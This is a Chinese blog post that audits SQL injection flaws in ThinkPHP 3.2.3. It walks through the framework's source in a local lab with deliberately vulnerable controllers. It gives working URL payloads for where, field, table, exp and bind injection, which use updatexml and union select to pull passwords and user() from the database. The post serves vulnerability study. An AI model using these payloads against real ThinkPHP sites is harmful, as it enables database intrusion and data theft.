thinkphp 3.2.3 SQL注入分析 最近审计一些黑产的时候总是碰到tp框架,虽然网上的exp已经很完善了,不过还是想从代码层面了解一下,说不定对审计会有帮助
0x01 thinkphp3.2.3环境搭建 web环境用phpstudy
首先下载thinkphp3.2.3
需要安装composer后执行命令下载
1 composer create-project topthink/thinkphp=3 .2 .3 tp3
下载后tp3设置为网站根目录
直接访问首页会自动生成模块
添加数据库的内容
1 2 3 4 5 6 7 8 9 10 11 create database test ;use test ;CREATE TABLE users ( `id` int (11 ) NOT NULL , `username` varchar (255 ), `password` varchar (255 ), PRIMARY KEY (`id` ) ); insert into `users` (id , username, password ) values (1 ,"admin" ,"admin" );insert into `users` (id , username, password ) values (2 ,"admin2" ,"admin2" );
在配置文件里填写数据库信息
配置文件位置\ThinkPHP\Conf\convention.php
1 2 3 4 5 6 7 'DB_TYPE' => 'mysql' , 'DB_HOST' => '127.0.0.1' , 'DB_NAME' => 'test' , 'DB_USER' => 'root' , 'DB_PWD' => 'root' , 'DB_PORT' => '3306' ,
还有一些thinkphp3的内置函数可以了解一下
1 2 3 4 5 6 7 8 9 10 11 12 A 快速实例化Action类库 B 执行行为类 C 配置参数存取方法 D 快速实例化Model类库 F 快速简单文本数据存取方法 L 语言参数存取方法 M 快速高性能实例化模型 R 快速远程调用Action类方法 S 快速缓存存取方法 U URL动态生成和重定向方法 W 快速Widget输出方法 I 获取输入参数 支持过滤和默认值
0x02 where注入 漏洞代码配置 修改\Application\Home\Controller\IndexController.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index () { $id = I('GET.id' ); $data = M('users' )->find($id); var_dump($data); } }
在Index控制器中添加有漏洞的方法
该漏洞点在find()函数
payload 1 http://127.0.0.1:81/?id[where]=1%20and%201=updatexml(1,concat(0x7e,(select%20password%20from%20users%20limit%201),0x7e),1)%23
I() 首先来看一下I()函数,对于普通用户来说
I(‘GET.id’)和$_GET[‘id’]实现的功能是类似的,可以看一下I方法上面的注释了解用法
I函数的位置在\ThinkPHP\Common\functions.php
下面来分段分析一下I函数
1 function I ($name, $default = '' , $filter = null, $datas = null) {...}
该函数默认有四个参数,第一个参数$name是必要的,其他如果不写默认为null
各参数的功能在上面的注释内也比较清晰
下面来看该函数的第一块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 static $_PUT = null ; if (strpos($name, '/' )) { list ($name, $type) = explode('/' , $name, 2 ); } elseif (C('VAR_AUTO_STRING' )) { $type = 's' ; } if (strpos($name, '.' )) { list ($method, $name) = explode('.' , $name, 2 ); } else { $method = 'param' ; }
通过strpos来判断$name里是否存在/
如果存在斜杠切割成数第一个元素存入$type,该参数在后面用作强制类型转换
通过strpos来判断$name里是否存在.
如果存在则将左右切割成数组,将第0个元素放入$method,第1个元素放入$name
如果不存在则将$method赋值为param
下面是一个switch判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 switch (strtolower($method)) { case 'get' : $input = &$_GET; break ; case 'post' : $input = &$_POST; break ; case 'put' : if (is_null($_PUT)) { parse_str(file_get_contents('php://input' ), $_PUT); } $input = $_PUT; break ; case 'param' : switch ($_SERVER['REQUEST_METHOD' ]) { case 'POST' : $input = $_POST; break ; case 'PUT' : if (is_null($_PUT)) { parse_str(file_get_contents('php://input' ), $_PUT); } $input = $_PUT; break ; default : $input = $_GET; } break ; case 'path' : $input = array (); if (!empty ($_SERVER['PATH_INFO' ])) { $depr = C('URL_PATHINFO_DEPR' ); $input = explode($depr, trim($_SERVER['PATH_INFO' ], $depr)); } break ; case 'request' : $input = &$_REQUEST; break ; case 'session' : $input = &$_SESSION; break ; case 'cookie' : $input = &$_COOKIE; break ; case 'server' : $input = &$_SERVER; break ; case 'globals' : $input = &$GLOBALS; break ; case 'data' : $input = &$datas; break ; default : return null ; }
这里虽然代码很多,其实细看就是获取各类参数
首先把字符全部变成小写
因为$method=”GET”,就走进了第一个判断
将$_GET的指针存入$input
这里传的是指针所以$_GET和$input完全相等了
然后又是一个大判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 if ('' == $name) { $data = $input; $filters = isset ($filter) ? $filter : C('DEFAULT_FILTER' ); if ($filters) { if (is_string($filters)) { $filters = explode(',' , $filters); } foreach ($filters as $filter) { $data = array_map_recursive($filter, $data); } } } elseif (isset ($input[$name])) { $data = $input[$name]; $filters = isset ($filter) ? $filter : C('DEFAULT_FILTER' ); if ($filters) { if (is_string($filters)) { if (0 === strpos($filters, '/' )) { if (1 !== preg_match($filters, (string) $data)) { return isset ($default) ? $default : null ; } } else { $filters = explode(',' , $filters); } } elseif (is_int($filters)) { $filters = array ($filters); } if (is_array($filters)) { foreach ($filters as $filter) { if (function_exists($filter)) { $data = is_array($data) ? array_map_recursive($filter, $data) : $filter($data); } else { $data = filter_var($data, is_int($filter) ? $filter : filter_id($filter)); if (false === $data) { return isset ($default) ? $default : null ; } } } } }
上面这块代码是关于参数过滤相关的
还有有一个类型转换的判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 if (!empty ($type)) { switch (strtolower($type)) { case 'a' : $data = (array ) $data; break ; case 'd' : $data = (int) $data; break ; case 'f' : $data = (float) $data; break ; case 'b' : $data = (boolean) $data; break ; case 's' : default : $data = (string) $data; } } } else { $data = isset ($default) ? $default : null ; }
就是上面说的$type可以指定最后强制类型转换,如果不指定就返回原来的值
还有几条代码I函数就看完了
1 2 3 4 is_array($data) && array_walk_recursive($data, 'think_filter' ); return $data;
最后来看一下think_filter函数
该函数和I函数在同一个文件
1 2 3 4 5 6 7 8 9 function think_filter (&$value) { if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i' , $value)) { $value .= ' ' ; } }
如果传入的是数字且存在这些关键字就会被替换成空格
find() 前面的M函数就不分析了,因为正常这里不太会让用户可控,了解一下M函数作用是快速高性能实例化模型就好了
该函数为漏洞函数
同样的分析一下
1 public function find ($options = array() )
有一个参数$options,如果不传参默认为空数组
走到第一个判断
1 2 3 4 5 6 7 8 9 10 11 12 if (is_numeric($options) || is_string($options)) { $where[$this ->getPk()] = $options; $options = array (); $options['where' ] = $where; }
第二个判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $pk = $this ->getPk(); if (is_array($options) && (count($options) > 0 ) && is_array($pk)) { $count = 0 ; foreach (array_keys($options) as $key) { if (is_int($key)) { $count++; } } if (count($pk) == $count) { $i = 0 ; foreach ($pk as $field) { $where[$field] = $options[$i]; unset ($options[$i++]); } $options['where' ] = $where; } else { return false ; } }
这一块不太了解,如果但看find函数是走不进这个判断的,因为$pk指定了是字符串,是过不了is_array判断的
估摸着是哪个方法可以修改$pk的值,就先不看了
1 2 3 4 $options['limit' ] = 1 ; $options = $this ->_parseOptions($options);
接下来关键的_parseOptions函数
_parseOptions 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 protected function _parseOptions ($options = array() ) { if (is_array($options)) { $options = array_merge($this ->options, $options); } if (!isset ($options['table' ])) { $options['table' ] = $this ->getTableName(); $fields = $this ->fields; } else { $fields = $this ->getDbFields(); } if (!empty ($options['alias' ])) { $options['table' ] .= ' ' . $options['alias' ]; } $options['model' ] = $this ->name; if (isset ($options['where' ]) && is_array($options['where' ]) && !empty ($fields) && !isset ($options['join' ])) { foreach ($options['where' ] as $key => $val) { $key = trim($key); if (in_array($key, $fields, true )) { if (is_scalar($val)) { $this ->_parseType($options['where' ], $key); } } elseif (!is_numeric($key) && '_' != substr($key, 0 , 1 ) && false === strpos($key, '.' ) && false === strpos($key, '(' ) && false === strpos($key, '|' ) && false === strpos($key, '&' )) { if (!empty ($this ->options['strict' ])) { E(L('_ERROR_QUERY_EXPRESS_' ) . ':[' . $key . '=>' . $val . ']' ); } unset ($options['where' ][$key]); } } } $this ->options = array (); $this ->_options_filter($options); return $options; }
_parseType 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 protected function _parseType (&$data, $key) { if (!isset ($this ->options['bind' ][':' . $key]) && isset ($this ->fields['_type' ][$key])) { $fieldType = strtolower($this ->fields['_type' ][$key]); if (false !== strpos($fieldType, 'enum' )) { } elseif (false === strpos($fieldType, 'bigint' ) && false !== strpos($fieldType, 'int' )) { $data[$key] = intval($data[$key]); } elseif (false !== strpos($fieldType, 'float' ) || false !== strpos($fieldType, 'double' )) { $data[$key] = floatval($data[$key]); } elseif (false !== strpos($fieldType, 'bool' )) { $data[$key] = (bool) $data[$key]; } } }
继续find() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 if (isset ($options['cache' ])) { $cache = $options['cache' ]; $key = is_string($cache['key' ]) ? $cache['key' ] : md5(serialize($options)); $data = S($key, '' , $cache); if (false !== $data) { $this ->data = $data; return $data; } } $resultSet = $this ->db->select($options);
select 该函数在\ThinkPHP\Library\Think\Db\Driver.class.php
1 2 3 4 5 6 7 8 9 public function select ($options = array() ) { $this ->model = $options['model' ]; $this ->parseBind(!empty ($options['bind' ]) ? $options['bind' ] : array ()); $sql = $this ->buildSelectSql($options); $result = $this ->query($sql, !empty ($options['fetch_sql' ]) ? true : false ); return $result; }
buildSelectSql 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public function parseSql ($sql, $options = array() ) { $sql = str_replace( array ('%TABLE%' , '%DISTINCT%' , '%FIELD%' , '%JOIN%' , '%WHERE%' , '%GROUP%' , '%HAVING%' , '%ORDER%' , '%LIMIT%' , '%UNION%' , '%LOCK%' , '%COMMENT%' , '%FORCE%' ), array ( $this ->parseTable($options['table' ]), $this ->parseDistinct(isset ($options['distinct' ]) ? $options['distinct' ] : false ), $this ->parseField(!empty ($options['field' ]) ? $options['field' ] : '*' ), $this ->parseJoin(!empty ($options['join' ]) ? $options['join' ] : '' ), $this ->parseWhere(!empty ($options['where' ]) ? $options['where' ] : '' ), $this ->parseGroup(!empty ($options['group' ]) ? $options['group' ] : '' ), $this ->parseHaving(!empty ($options['having' ]) ? $options['having' ] : '' ), $this ->parseOrder(!empty ($options['order' ]) ? $options['order' ] : '' ), $this ->parseLimit(!empty ($options['limit' ]) ? $options['limit' ] : '' ), $this ->parseUnion(!empty ($options['union' ]) ? $options['union' ] : '' ), $this ->parseLock(isset ($options['lock' ]) ? $options['lock' ] : false ), $this ->parseComment(!empty ($options['comment' ]) ? $options['comment' ] : '' ), $this ->parseForce(!empty ($options['force' ]) ? $options['force' ] : '' ), ), $sql); return $sql; }
这样粗略一看,就是把$options中的各类参数再经过一次处理,然后替换到到$sql字符串里面构造出完整的sql语句再执行
到这里这个点的sql注入就清楚了,因为php是可以在外部传数组进来的,所以$options里面的所有元素都是可控的
1 $options = $this ->_parseOptions($options);
可以看到在find函数的这行代码里面$options就是由外部传进来的,
能控制某一段语句,最后就能通过sql一些语句实现注入了
还有一点就是为什么传了数组进来有些关键字字不会被_parseType强制转换
看find的第一个判断可以发现只有数字和数字字符串或字符串会走进判断,将$where变成一个数组后存入$options,如果传进来一个数组那么$options[‘where’]就是一个字符串
在_parseOptions函数里面的字段类型验证会检测$options[‘where’]是否为数组,很显然就不会走进判断,也不会碰到_parseType函数了
这里我们直接拿$this->parseWhere来看看
$this->parseWhere 1 2 3 4 5 6 7 8 9 10 11 12 protected function parseWhere ($where) { $whereStr = '' ; if (is_string($where)) { $whereStr = $where; } else { } return empty ($whereStr) ? '' : ' WHERE ' . $whereStr; }
可以看到$where的值传进来经过判断赋到$whereStr,最后在$whereStr前面加上’ WHERE ‘字符串返回
那$whereStr是完全可控的
1 $whereStr = id=1 and 1 =updatexml(1 ,concat(0x7e ,(select password from users limit 1 ),0x7e ),1 )--
这么分析下来其实不止$options[‘where’]有问题
$options[‘field’] 可以控制输出的字段名
$options[‘table’]可以控制要查询的表
这些都可以造成问题
1 2 3 4 5 http://127.0.0.1:81/?id[field]=*%20FROM%20`users`%20where%20id=-1%20union%20select%20*%20FROM%20`users`%20where%20id=2-- field实现注入 http://127.0.0.1:81/?id[table]=users%20where%20id%20=-1%20union%20select%201,2,user() table实现注入
还有一些没有看, 有兴趣的师傅可以在parseSql函数的return前面打印sql语句,这样就可以清晰的看到sql语句构造结果
0x03 exp注入 漏洞代码配置 1 2 3 4 5 6 7 public function index () { $User = M('Users' ); $map = array ('username' => $_GET['username' ]); $user = $User->where($map)->find(); var_dump($user); }
payload 1 http://127.0.0.1:81/?username[0]=exp&username[1]==1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
该漏洞不能使用I函数获取参数,具体原因后面会写
漏洞点为where函数,首先来看看where函数是什么功能
注意这里$map是数组
where() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public function where ($where, $parse = null) { if (!is_null($parse) && is_string($where)) { if (!is_array($parse)) { $parse = func_get_args(); array_shift($parse); } $parse = array_map(array ($this ->db, 'escapeString' ), $parse); $where = vsprintf($where, $parse); } elseif (is_object($where)) { $where = get_object_vars($where); } if (is_string($where) && '' != $where) { $map = array (); $map['_string' ] = $where; $where = $map; } if (isset ($this ->options['where' ])) { $this ->options['where' ] = array_merge($this ->options['where' ], $where); } else { $this ->options['where' ] = $where; } return $this ; }
此时$this->options[‘where’]里面存着一个数组
直接看find(),别的点正常走都是一样的,只有parseWhere函数会有区别,就像上面说的parseWhere函数里的else就是这个注入的漏洞点
来看看完整的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 protected function parseWhere ($where) { $whereStr = '' ; if (is_string($where)) { $whereStr = $where; } else { $operate = isset ($where['_logic' ]) ? strtoupper($where['_logic' ]) : '' ; if (in_array($operate, array ('AND' , 'OR' , 'XOR' ))) { $operate = ' ' . $operate . ' ' ; unset ($where['_logic' ]); } else { $operate = ' AND ' ; } foreach ($where as $key => $val) { if (is_numeric($key)) { $key = '_complex' ; } if (0 === strpos($key, '_' )) { $whereStr .= $this ->parseThinkWhere($key, $val); } else { $multi = is_array($val) && isset ($val['_multi' ]); $key = trim($key); if (strpos($key, '|' )) { $array = explode('|' , $key); $str = array (); foreach ($array as $m => $k) { $v = $multi ? $val[$m] : $val; $str[] = $this ->parseWhereItem($this ->parseKey($k), $v); } $whereStr .= '( ' . implode(' OR ' , $str) . ' )' ; } elseif (strpos($key, '&' )) { $array = explode('&' , $key); $str = array (); foreach ($array as $m => $k) { $v = $multi ? $val[$m] : $val; $str[] = '(' . $this ->parseWhereItem($this ->parseKey($k), $v) . ')' ; } $whereStr .= '( ' . implode(' AND ' , $str) . ' )' ; } else { $whereStr .= $this ->parseWhereItem($this ->parseKey($key), $val); } } $whereStr .= $operate; } $whereStr = substr($whereStr, 0 , -strlen($operate)); } return empty ($whereStr) ? '' : ' WHERE ' . $whereStr; }
parseWhereItem 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 protected function parseWhereItem ($key, $val) { $whereStr = '' ; if (is_array($val)) { if (is_string($val[0 ])) { $exp = strtolower($val[0 ]); if (preg_match('/^(eq|neq|gt|egt|lt|elt)$/' , $exp)) { $whereStr .= $key . ' ' . $this ->exp[$exp] . ' ' . $this ->parseValue($val[1 ]); } elseif (preg_match('/^(notlike|like)$/' , $exp)) { if (is_array($val[1 ])) { $likeLogic = isset ($val[2 ]) ? strtoupper($val[2 ]) : 'OR' ; if (in_array($likeLogic, array ('AND' , 'OR' , 'XOR' ))) { $like = array (); foreach ($val[1 ] as $item) { $like[] = $key . ' ' . $this ->exp[$exp] . ' ' . $this ->parseValue($item); } $whereStr .= '(' . implode(' ' . $likeLogic . ' ' , $like) . ')' ; } } else { $whereStr .= $key . ' ' . $this ->exp[$exp] . ' ' . $this ->parseValue($val[1 ]); } } elseif ('bind' == $exp) { $whereStr .= $key . ' = :' . $val[1 ]; } elseif ('exp' == $exp) { $whereStr .= $key . ' ' . $val[1 ]; } elseif (preg_match('/^(notin|not in|in)$/' , $exp)) { if (isset ($val[2 ]) && 'exp' == $val[2 ]) { $whereStr .= $key . ' ' . $this ->exp[$exp] . ' ' . $val[1 ]; } else { if (is_string($val[1 ])) { $val[1 ] = explode(',' , $val[1 ]); } $zone = implode(',' , $this ->parseValue($val[1 ])); $whereStr .= $key . ' ' . $this ->exp[$exp] . ' (' . $zone . ')' ; } } elseif (preg_match('/^(notbetween|not between|between)$/' , $exp)) { $data = is_string($val[1 ]) ? explode(',' , $val[1 ]) : $val[1 ]; $whereStr .= $key . ' ' . $this ->exp[$exp] . ' ' . $this ->parseValue($data[0 ]) . ' AND ' . $this ->parseValue($data[1 ]); } else { E(L('_EXPRESS_ERROR_' ) . ':' . $val[0 ]); } } else { $count = count($val); $rule = isset ($val[$count - 1 ]) ? (is_array($val[$count - 1 ]) ? strtoupper($val[$count - 1 ][0 ]) : strtoupper($val[$count - 1 ])) : '' ; if (in_array($rule, array ('AND' , 'OR' , 'XOR' ))) { $count = $count - 1 ; } else { $rule = 'AND' ; } for ($i = 0 ; $i < $count; $i++) { $data = is_array($val[$i]) ? $val[$i][1 ] : $val[$i]; if ('exp' == strtolower($val[$i][0 ])) { $whereStr .= $key . ' ' . $data . ' ' . $rule . ' ' ; } else { $whereStr .= $this ->parseWhereItem($key, $val[$i]) . ' ' . $rule . ' ' ; } } $whereStr = '( ' . substr($whereStr, 0 , -4 ) . ' )' ; } } else { $likeFields = $this ->config['db_like_fields' ]; if ($likeFields && preg_match('/^(' . $likeFields . ')$/i' , $key)) { $whereStr .= $key . ' LIKE ' . $this ->parseValue('%' . $val . '%' ); } else { $whereStr .= $key . ' = ' . $this ->parseValue($val); } } return $whereStr; }
拼接后执行的流程就和上面类似了
来说一下为啥不能使用I函数获取参数
上面提到过I函数最后有个think_filter函数,会将exp加上空格导致失败
可以看到在exp上面还有个判断是否为bind,该点就是下一个漏洞点
0x04 bind注入 漏洞代码配置 1 2 3 4 5 6 7 8 public function index () { $User = M("Users" ); $user = array ("id" => I('id' )); $data = array ("password" => I('password' )); $sql = $User->where($user)->save($data); var_dump($sql); }
payload 1 http://127.0.0.1:81/?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)&password=1
上面说了bind就在exp的上面
1 2 3 4 5 6 elseif ('bind' == $exp) { $whereStr .= $key . ' = :' . $val[1 ]; } elseif ('exp' == $exp) { $whereStr .= $key . ' ' . $val[1 ]; }
bind在sql语句中加的的= :
这样sql语句是没有办法正常执行的
一般来说sql语句用:是用来预编译后替换数据,所以需要找到替换:的函数
这段payload和exp注入相同,只需要注意id[1]=0..,原因后面会看到
接下来就是save函数的参数$data=array(“password”=>1)
下面就假设用上面的payload调了
先看save函数
save 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public function save ($data = '' , $options = array() ) { if (empty ($data)) { } $data = $this ->_facade($data); if (empty ($data)) { } $options = $this ->_parseOptions($options); $pk = $this ->getPk(); if (!isset ($options['where' ])) { } if (is_array($options['where' ]) && isset ($options['where' ][$pk])) { $pkValue = $options['where' ][$pk]; } if (false === $this ->_before_update($data, $options)) { return false ; } $result = $this ->db->update($data, $options); if (false !== $result && is_numeric($result)) { if (isset ($pkValue)) { $data[$pk] = $pkValue; } $this ->_after_update($data, $options); } return $result; }
接下来看update函数
update 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public function update ($data, $options) { $this ->model = $options['model' ]; $this ->parseBind(!empty ($options['bind' ]) ? $options['bind' ] : array ()); $table = $this ->parseTable($options['table' ]); $sql = 'UPDATE ' . $table . $this ->parseSet($data); if (strpos($table, ',' )) { $sql .= $this ->parseJoin(!empty ($options['join' ]) ? $options['join' ] : '' ); } $sql .= $this ->parseWhere(!empty ($options['where' ]) ? $options['where' ] : '' ); if (!strpos($table, ',' )) { $sql .= $this ->parseOrder(!empty ($options['order' ]) ? $options['order' ] : '' ) . $this ->parseLimit(!empty ($options['limit' ]) ? $options['limit' ] : '' ); } $sql .= $this ->parseComment(!empty ($options['comment' ])) ? $options['comment' ] : '' ); return $this ->execute($sql, !empty ($options['fetch_sql' ]) ? true : false ); }
parseSet 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 protected function parseSet ($data) { foreach ($data as $key => $val) { if (is_array($val) && 'exp' == $val[0 ]) { $set[] = $this ->parseKey($key) . '=' . $val[1 ]; } elseif (is_null($val)) { $set[] = $this ->parseKey($key) . '=NULL' ; } elseif (is_scalar($val)) { if (0 === strpos($val, ':' ) && in_array($val, array_keys($this ->bind))) { $set[] = $this ->parseKey($key) . '=' . $this ->escapeString($val); } else { $name = count($this ->bind); $set[] = $this ->parseKey($key) . '=:' . $name; $this ->bindParam($name, $val); } } } return ' SET ' . implode(',' , $set); }
再来看update函数
$this->execute 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 public function execute ($str, $fetchSql = false) { $this ->initConnect(true ); if (!$this ->_linkID) { return false ; } $this ->queryStr = $str; if (!empty ($this ->bind)) { $that = $this ; $this ->queryStr = strtr($this ->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'' ;}, $this ->bind)); } if ($fetchSql) { return $this ->queryStr; } if (!empty ($this ->PDOStatement)) { $this ->free(); } }
总结一下就是execute是存在替换功能的,所以只需要去找调用了execute来执行sql语句的函数还是可以找到别的类似的漏洞函数的
还有一点为什么id[1]=0
在上面替换的时候可以看到$this->bind=array(“:0” => “‘1’”),如果id[1]=1,where拼接的语句就变成了:1,就不能被替换掉了
0x05 漏洞点总结 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $id = I('GET.id' ); $data = M('users' )->find($id); $map = array ('username' => $_GET['username' ]); $user = $User->where($map)->find(); $value = $_GET["id" ] $user = $User->where("id=" .$value)->find(); $user = array ("id" => I('id' )); $data = array ("password" => I('password' )); $sql = $User->where($user)->save($data);
0x06 总结 一直想把文章写的很细,让所有看的师傅都能看懂,结果这次越写越觉得奇怪,因为贴了太多的代码和注释让可读性很差,后面写的文章准备试试多贴图
还有一点关于漏洞需要动手调试,只看文章都是感觉好像懂了,实际调了之后会发现还是有很多点有不懂的,看明白了之后可能发现不同的使用漏洞的方法
有问题的地方欢迎各位师傅指出
0x07 参考文章 https://y4er.com/posts/thinkphp3-vuln/